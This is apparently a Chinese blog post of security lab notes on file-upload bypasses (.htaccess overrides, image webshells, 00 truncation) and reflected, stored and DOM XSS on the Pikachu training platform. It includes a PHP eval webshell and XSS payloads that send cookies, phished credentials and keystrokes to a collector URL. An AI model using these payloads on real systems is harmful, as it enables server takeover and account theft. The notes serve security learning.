2021-10-09-文件上传小问题与XSS(pikachu)

2021-10-09 文件上传小问题与XSS(pikachu)

.htaccess漏洞利用

  1. 构造.htaccess文件并上传,文件内容可以是:

//方法一
SetHandler application/x-httpd-php //所有的文件当做php文件来解析
//方法二
AddType application/x-httpd-php .jpg //.jpg文件当作php文件解析

当上传.htaccess文件到upload目录时,upload目录下的文件会按其配置生效解析.

方法一这样配置有一个问题,apache会将所有的.jpg后缀的文件当作php文件解析,这样会明显影响系统的功能,改进代码如下,这样系统就只对文件名包含“info.png”字符串的文件进行解析。

<FilesMatch "^info.png$">
setHandler application/x-httpd-php
</FilesMatch> 
  1. 上传一句话后门(info.png),使用蚁剑类工具连接,获得flag

<?php @eval($_POST['attack']);?>

.htaccess文件使用要开启apache httpd.config AllowOverride All

文件内容检测

在文件上传时,如果后缀和MIME都修改后仍无法上传,显示”文件错误“等情况,考虑是对文件内容进行了检测。制作图片马,上传后蚁剑连接:

copy 图片.jpg/b + 木马.php/a 木马.jpg

/b 表示以二进制方式打开
/a 表示以ASCII方式打</pre>

00截断

我以前以为所谓00截断就是在文件名中加%00进行截断,但这种方式是不对的,为什么呢?比如攻击者构造文件名:admintony.php%00.jpg,在提取后缀名的时候遇到%00则认为字符串结束了,那么他提取到的后缀名会是.php.php后缀又不允许上传所以上传失败了。

应该在数据包中必须含有上传后文件的目录情况才可以用,比如数据包中存在path: uploads/,那么攻击者可以通过修改path的值来构造paylod: uploads/aa.php%00

为什么修改path才可以,因为程序中检测的是文件的后缀名,如果后缀合法则拼接路径和文件名,那么攻击者修改了path以后的拼接结果为:uploads/aaa.php%00/aaa.png,移动文件的时候会将文件保存为uploads/aaa.php,从而达到Getshell效果。

img

XSS测试平台

https://xsshs.cn/

创建项目,创建完后会生成一个xss可用脚本地址

XSS的本质是获得cookie吗?(答:主要是为了获得cookie,XSS平台的意义就是将获取的cookie返回给攻击者)

利用别人的cookie,他们可以冒充真实的用户,在颁发cookie的那个网站中为所欲为,个人隐私在他们面前根本不存在。单纯的alert函数就是弹窗嘛,用户可能会看到自己的cookie被弹出来。但是有了XSS平台之后,每个触发漏洞的用户的cookie就会被发送到攻击者搭建的XSS平台上。

跨站脚本攻击XSS,是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。其导致的危害可想而知,如劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫,甚至破坏网站、修改路由器配置信息等。

常用的XSS攻击手段和目的有:   1、盗用cookie,获取敏感信息。   2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。   3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。   4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。   5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDos攻击的效果。

ctfhub那道题,ctf的题目应该是让我们获得别人的cookie,但是这是ctf的题目,不是公共的服务,没有其他用户,所以ctf模拟了一个机器人。那就很清楚了,我们的目标就是获得这个机器人的Cookie,然后"盗它的号",所以获取了这个机器人的Cookie就意味着成功。所以理所应当的,flag也就藏在cookie里了。所以第二个文本框就是模拟别人点击这个包含xss的链接的情形。

XSS 钓鱼; XSS获取cookie ;XSS键盘记录还有很多需要学习的……

pikachu 之XSS练习

反射型XSS(GET)

当输入内容时, 内容被执行写入当网页:(who is ”xxx",)

image-20211009145428005.png

所以可以直接注入: <script>alert(document.cookie)</script> 盗取用户cookie

image-20211009150000616.png

image-20211009145656607.png

复制当前的url 输入到新的界面中 就可以直接执行刚才XSS的效果。GET方式的XSS漏洞更加容易被利用,一般利用的方式是将带有跨站脚本的URL伪装后发送给目标。比如某个论坛出现了XSS漏洞 我们就可以借此利用 来欺骗受害者 进而达到XSS攻击的目的。用户一看前面的域名是比较著名的网站,以为没问题。后面的却包含了恶意的JavaScript代码,已get的方式提交到了网站,被返回到用户的浏览器中执行了。

上述方式是弹窗的形式,这样就可以把盗取的cookie保存到自己的站点中

<script>document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

登录http://127.0.0.1/pikachu/pkxss后台查看获取的cookie

image-20211009152256904.png
反射型XSS (Post)

登录页面是必不可少的,登录之后也是一个输入框。

image-20211009153030104.png
image-20211009153057733.png

POST请求区别与GET请求,POST请求不能从URL让用户向服务器提交数据。所以为了进行注入,需要让用户代替攻击者提交POST请求,这就需要攻击者自己搭建站点(http://127.0.0.1/pikachu/pkxss 在这里相当于自己的站点),然后在站点内写一个POST表单(/xcookie/post.html),将我们搭建出的连接发给用户,这样就能让用户帮攻击者提交POST请求发给存在XSS漏洞的中。这样就能窃取到用户的cookie,就能伪造用户登陆达到破坏的目的。

image-20211009154208493.png

点击之后是下面这个伪造的页面,点击submit时数据已经post走了,再一次盗取cookie保存下来,还获取了用户名和密码(md5加密)

image-20211009153222578.png
image-20211009154935099.png
image-20211009155024170.png
存储型XSS

试一下alert(1),有弹窗说明有漏洞。

存储型xss和反射型的区别:就是当你刷新这个界面,还是会出现这个弹窗


image-20211009155326118.png

写入和之前一样的payload保存窃取的cookie:(每刷新一次就获取一次)

image-20211009160652045.png

存储型XSS漏洞还可以和钓鱼网站以及窃取键盘输入结合起来。

  • 钓鱼

    • 弹出伪造验证框脚本(xfish/fish.php)

    • 将用户输入的信息进行处理并保存(xfish/xfish.php)

    • 钓鱼Payload:<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"'></script>

    这里有个巨坑,由于这里用的phpstudy搭建的环境,会发现一直提交授权,一直输入密码都不会将数据写入数据库。这个坑后来找到了原因:PHP 的 HTTP 认证机制仅在 PHP 以 Apache 模块方式运行时才有效,因此该功能不适用于 CGI 版本,我这里使用的是phpStudy搭建的环境,默认是以CGI版本运行PHP。后续通过重新搭建环境解决此问题。

    这里使用作弊方法,直接将账号密码写入

    <script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php?username=admin&password=123456"'></script>

    ———————————————— 原文链接:https://blog.csdn.net/witwitwiter/article/details/115767014

  • 键盘记录

    • 制作键盘的js,异步发送给键盘记录脚本(rkeypress/rk.js)

    • 将接受的按键记录处理并保存(rkeypress/rkserver.php)

    • 键盘记录Payload:<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"'></script>

DOM型xss

首先我们在输入框中随便输入一串字符。可以看到弹出一个what do you see?的提示。我们查看一下源码看到底做了一个什么样的操作。代码太长比较难找,Ctrl+F搜索一下what定位到源码的相关位置。

image-20211009162947567.png
image-20211009163115359.png

可以看到这里有一段js的代码,我们可以简单分析一下这段代码。以前我们接触到的反射型和存储型都是通过后台输出,我们可以从源代码中看到输入点就是源码中的input标签,DOM型的XSS漏洞通过了解我们可以知道是纯前端的漏洞,分析源码可移知道我们输入后得到一个字符串,然后通过字符串拼接的方式拼接到a href中。输出点我们可以从<a>标签构造一个闭包函数。

payload:' οnclick=alert(1)
拼接结果: <a href=' ' οnclick=alert(1)'>

其实这种DOM注入没有什么太大的用处,因为既没有发送到后台进行操作,也没有输入到URL中去。

DOM型xss-x
image-20211009163552680.png

查看源码:


image-20211009163630205.png

payload和刚才的一样,也是首先闭合<a>标签。

DOM型XSS只在前端,与后端毫无关系。

DOM-X型危害更大,它能够像反射型一样在URL中体现,将URL发给了受害者就能进行攻击。

参考资料

https://blog.csdn.net/redwand/article/details/104105269

https://www.cnblogs.com/chalan630/p/12547844.html

https://blog.csdn.net/qq_17046291/article/details/99336431

https://blog.csdn.net/redwand/article/details/104152782

https://blog.csdn.net/weixin_42299862/article/details/108518706

https://blog.csdn.net/weixin_43899561/article/details/89429726

https://blog.csdn.net/weixin_43526443/article/details/105737140

https://blog.csdn.net/witwitwiter/article/details/115797971

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,254评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,875评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,682评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,896评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,015评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,152评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,208评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,962评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,388评论 1 304
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,700评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,867评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,551评论 4 335
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,186评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,901评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,142评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,689评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,757评论 2 351

推荐阅读更多精彩内容